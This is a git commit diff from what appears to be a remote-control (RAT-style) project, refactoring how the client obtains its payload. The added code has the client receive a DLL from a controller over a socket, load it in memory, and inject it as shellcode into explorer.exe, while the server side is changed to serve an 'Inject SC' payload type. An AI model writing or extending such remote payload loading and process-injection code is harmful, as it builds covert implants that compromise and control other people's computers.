Refactor: Remove SCLoader.cpp and use the received DLL to inject

This commit is contained in:
yuanyuanxiang
2026-05-25 00:16:39 +02:00
parent 54c88539e5
commit d6fb612475
6 changed files with 55 additions and 10379 deletions

File diff suppressed because it is too large Load Diff

View File

@@ -10,7 +10,7 @@
#include "auto_start.h" #include "auto_start.h"
// A shell code loader connect to 127.0.0.1:6543. // A shell code loader connect to 127.0.0.1:6543.
// Build: xxd -i TinyRun.dll > SCLoader.cpp // Build: xxd -i TinyRun.dll > SCLoader.cpp
#include "SCLoader.cpp" // #include "SCLoader.cpp"
extern "C" { extern "C" {
#include "reg_startup.h" #include "reg_startup.h"
#include "ServiceWrapper.h" #include "ServiceWrapper.h"
@@ -76,10 +76,14 @@ typedef struct PkgHeader {
} }
} PkgHeader; } PkgHeader;
typedef int (*DllCallback)(BYTE* dll, int size);
// Memory DLL runner. // Memory DLL runner.
class MemoryDllRunner : public DllRunner class MemoryDllRunner : public DllRunner
{ {
protected: protected:
int m_payloadType = MEMORYDLL;
DllCallback m_callback = nullptr;
HMEMORYMODULE m_mod; HMEMORYMODULE m_mod;
std::string GetIPAddress(const std::string& hostName) std::string GetIPAddress(const std::string& hostName)
{ {
@@ -107,7 +111,7 @@ protected:
return std::string(ipStr); return std::string(ipStr);
} }
public: public:
MemoryDllRunner() : m_mod(nullptr) {} MemoryDllRunner(int type = MEMORYDLL, DllCallback cb = NULL) : m_mod(nullptr), m_payloadType(type), m_callback(cb) {}
virtual const char* ReceiveDll(int &size) virtual const char* ReceiveDll(int &size)
{ {
WSADATA wsaData = {}; WSADATA wsaData = {};
@@ -146,9 +150,9 @@ public:
continue; continue;
} }
#ifdef _DEBUG #ifdef _DEBUG
char command[64] = { SOCKET_DLLLOADER, sizeof(void*) == 8, MEMORYDLL, 0 }; char command[64] = { SOCKET_DLLLOADER, sizeof(void*) == 8, m_payloadType, 0 };
#else #else
char command[64] = { SOCKET_DLLLOADER, sizeof(void*) == 8, MEMORYDLL, 1 }; char command[64] = { SOCKET_DLLLOADER, sizeof(void*) == 8, m_payloadType, 1 };
#endif #endif
memcpy(command + 4, __DATE__, 11); // 发送版本日期用于大 DLL 检查 memcpy(command + 4, __DATE__, 11); // 发送版本日期用于大 DLL 检查
memcpy(command + 32, hash.c_str(), min(32, hash.length())); memcpy(command + 32, hash.c_str(), min(32, hash.length()));
@@ -244,6 +248,9 @@ public:
strcpy(addr->installDir, g_ConnectAddress.installDir); strcpy(addr->installDir, g_ConnectAddress.installDir);
strcpy(addr->installName, g_ConnectAddress.installName); strcpy(addr->installName, g_ConnectAddress.installName);
} }
if (m_callback) {
m_callback((BYTE*)buffer + 6 + sizeof(PkgHeader), size);
}
m_mod = ::MemoryLoadLibrary(buffer + 6 + sizeof(PkgHeader), size); m_mod = ::MemoryLoadLibrary(buffer + 6 + sizeof(PkgHeader), size);
SAFE_DELETE_ARRAY(buffer); SAFE_DELETE_ARRAY(buffer);
return m_mod; return m_mod;
@@ -259,6 +266,37 @@ public:
} }
}; };
int InjectShellcode(BYTE* buf, int len) {
ShellcodeInj inj(buf, len);
int pid = 0;
hEvent = ::CreateEventA(NULL, TRUE, FALSE, NULL);
do {
if (sizeof(void*) == 4) // Shell code is 64bit
return 1;
if (!(pid = inj.InjectProcess("explorer.exe", TRUE))) {
return 2;
}
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE | SYNCHRONIZE, FALSE, pid);
if (hProcess == NULL) {
return 3;
}
Mprintf("Inject process [%d] succeed.\n", pid);
HANDLE handles[2] = { hProcess, hEvent };
DWORD waitResult = WaitForMultipleObjects(2, handles, FALSE, INFINITE);
if (status == 1) {
Mprintf("结束运行.\n");
Sleep(1000);
TerminateProcess(hProcess, -1);
SAFE_CLOSE_HANDLE(hEvent);
}
SAFE_CLOSE_HANDLE(hProcess);
Mprintf("Process [%d] is finished.\n", pid);
Sleep(1000);
if (status == 1)
ExitProcess(0);
} while (pid);
}
// @brief 首先读取settings.ini配置文件获取IP和端口. // @brief 首先读取settings.ini配置文件获取IP和端口.
// [settings] // [settings]
// localIp=XXX // localIp=XXX
@@ -317,44 +355,6 @@ int main(int argc, const char *argv[])
g_ConnectAddress.SetServer(saved_ip.c_str(), saved_port); g_ConnectAddress.SetServer(saved_ip.c_str(), saved_port);
} }
// 此 Shell code 连接本机6543端口注入到任务管理器
if (g_ConnectAddress.iStartup == Startup_InjSC) {
// Try to inject shell code to `notepad.exe`
// If failed then run memory DLL
ShellcodeInj inj(TinyRun_dll, TinyRun_dll_len);
int pid = 0;
hEvent = ::CreateEventA(NULL, TRUE, FALSE, NULL);
do {
if (sizeof(void*) == 4) // Shell code is 64bit
break;
if (!(pid = inj.InjectProcess("explorer.exe", ok))) {
break;
}
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE | SYNCHRONIZE, FALSE, pid);
if (hProcess == NULL) {
break;
}
Mprintf("Inject process [%d] succeed.\n", pid);
HANDLE handles[2] = { hProcess, hEvent };
DWORD waitResult = WaitForMultipleObjects(2, handles, FALSE, INFINITE);
if (status == 1) {
TerminateProcess(hProcess, -1);
SAFE_CLOSE_HANDLE(hEvent);
}
SAFE_CLOSE_HANDLE(hProcess);
Mprintf("Process [%d] is finished.\n", pid);
if (status == 1) {
Mprintf("结束运行.\n");
Sleep(1000);
return -1;
}
} while (pid);
}
if (g_ConnectAddress.iStartup == Startup_InjSC) {
g_ConnectAddress.iStartup = Startup_MEMDLL;
}
do { do {
BOOL ret = Run((argc > 1 && argv[1][0] != '-') ? // remark: demo may run with argument "-agent" BOOL ret = Run((argc > 1 && argv[1][0] != '-') ? // remark: demo may run with argument "-agent"
argv[1] : (strlen(g_ConnectAddress.ServerIP()) == 0 ? "127.0.0.1" : g_ConnectAddress.ServerIP()), argv[1] : (strlen(g_ConnectAddress.ServerIP()) == 0 ? "127.0.0.1" : g_ConnectAddress.ServerIP()),
@@ -423,6 +423,9 @@ BOOL Run(const char* argv1, int argv2)
case Startup_MEMDLL: case Startup_MEMDLL:
runner = new MemoryDllRunner; runner = new MemoryDllRunner;
break; break;
case Startup_InjSC:
runner = new MemoryDllRunner(INJECT_SC, InjectShellcode);
break;
default: default:
ExitProcess(-1); ExitProcess(-1);
break; break;

View File

@@ -1361,7 +1361,8 @@ enum {
SHELLCODE = 0, SHELLCODE = 0,
MEMORYDLL = 1, MEMORYDLL = 1,
RUNTYPE_MAX = 2, INJECT_SC = 2,
RUNTYPE_MAX = 3,
CALLTYPE_DEFAULT = 0, // 默认调用方式: 只是加载DLL,需要在DLL加载时执行代码 CALLTYPE_DEFAULT = 0, // 默认调用方式: 只是加载DLL,需要在DLL加载时执行代码
CALLTYPE_IOCPTHREAD = 1, // 调用run函数启动线程: DWORD (__stdcall *run)(void* lParam) CALLTYPE_IOCPTHREAD = 1, // 调用run函数启动线程: DWORD (__stdcall *run)(void* lParam)

View File

@@ -5734,14 +5734,14 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
// 检查是否被限流(只限制真实发送 DLL 的请求) // 检查是否被限流(只限制真实发送 DLL 的请求)
if (IsDllRequestLimited(clientIP)) { if (IsDllRequestLimited(clientIP)) {
Mprintf("'%s' Request %s [is64Bit:%d isRelease:%d] SendServerDll: RateLimited\n", Mprintf("'%s' Request %s [is64Bit:%d isRelease:%d] SendServerDll: RateLimited\n",
clientIP.c_str(), typ == SHELLCODE ? "SC" : "DLL", is64Bit, isRelease); clientIP.c_str(), (typ != MEMORYDLL) ? "SC" : "DLL", is64Bit, isRelease);
} else { } else {
send = SendServerDll(ContextObject, typ==MEMORYDLL, is64Bit); send = SendServerDll(ContextObject, typ, is64Bit);
if (send) { if (send) {
RecordDllRequest(clientIP); // 只有真正发送了才记录 RecordDllRequest(clientIP); // 只有真正发送了才记录
} }
Mprintf("'%s' Request %s [is64Bit:%d isRelease:%d] SendServerDll: %s\n", Mprintf("'%s' Request %s [is64Bit:%d isRelease:%d] SendServerDll: %s\n",
clientIP.c_str(), typ == SHELLCODE ? "SC" : "DLL", is64Bit, isRelease, send ? "Yes" : "No"); clientIP.c_str(), (typ != MEMORYDLL) ? "SC" : "DLL", is64Bit, isRelease, send ? "Yes" : "No");
} }
break; break;
} }
@@ -6898,10 +6898,11 @@ bool isAllZeros(const BYTE* data, int len)
return true; return true;
} }
BOOL CMy2015RemoteDlg::SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL, bool is64Bit) BOOL CMy2015RemoteDlg::SendServerDll(CONTEXT_OBJECT* ContextObject, int payloadType, bool is64Bit)
{ {
auto isDLL = payloadType == MEMORYDLL;
auto id = is64Bit ? PAYLOAD_DLL_X64 : PAYLOAD_DLL_X86; auto id = is64Bit ? PAYLOAD_DLL_X64 : PAYLOAD_DLL_X86;
auto buf = isDLL ? m_ServerDLL[id] : m_ServerBin[id]; auto buf = isDLL ? m_ServerDLL[id] : payloadType == SHELLCODE ? m_ServerBin[id] : m_TinyRun[id];
if (buf->length()) { if (buf->length()) {
char version[12] = {}; char version[12] = {};
ContextObject->InDeCompressedBuffer.CopyBuffer(version, 12, 4); ContextObject->InDeCompressedBuffer.CopyBuffer(version, 12, 4);

View File

@@ -219,7 +219,7 @@ public:
void SendFilesToClientV2Internal(context* mainCtx, const std::vector<std::string>& files, void SendFilesToClientV2Internal(context* mainCtx, const std::vector<std::string>& files,
uint64_t resumeTransferID, const std::map<uint32_t, uint64_t>& startOffsets, const std::string& targetDir = ""); uint64_t resumeTransferID, const std::map<uint32_t, uint64_t>& startOffsets, const std::string& targetDir = "");
void HandleFileResumeRequest(CONTEXT_OBJECT* ctx, const BYTE* data, size_t len); void HandleFileResumeRequest(CONTEXT_OBJECT* ctx, const BYTE* data, size_t len);
BOOL SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL, bool is64Bit); BOOL SendServerDll(CONTEXT_OBJECT* ContextObject, int payloadType, bool is64Bit);
Buffer* m_ServerDLL[PAYLOAD_MAXTYPE]; Buffer* m_ServerDLL[PAYLOAD_MAXTYPE];
Buffer* m_ServerBin[PAYLOAD_MAXTYPE]; Buffer* m_ServerBin[PAYLOAD_MAXTYPE];
Buffer* m_TinyRun[PAYLOAD_MAXTYPE] = {}; Buffer* m_TinyRun[PAYLOAD_MAXTYPE] = {};

View File

@@ -108,7 +108,7 @@ void CPluginSettingsDlg::LoadPluginsToList()
{ {
m_listPlugins.DeleteAllItems(); m_listPlugins.DeleteAllItems();
const char* runTypeNames[] = { "Shellcode", "内存DLL" }; const char* runTypeNames[] = { "Shellcode", "内存DLL", "Inject SC"};
const char* modeNames[] = { "不自动执行", "启动执行", "每日定时", "每周定时", "每月定时", "每年定时", "关闭执行", }; const char* modeNames[] = { "不自动执行", "启动执行", "每日定时", "每周定时", "每月定时", "每年定时", "关闭执行", };
int index = 0; int index = 0;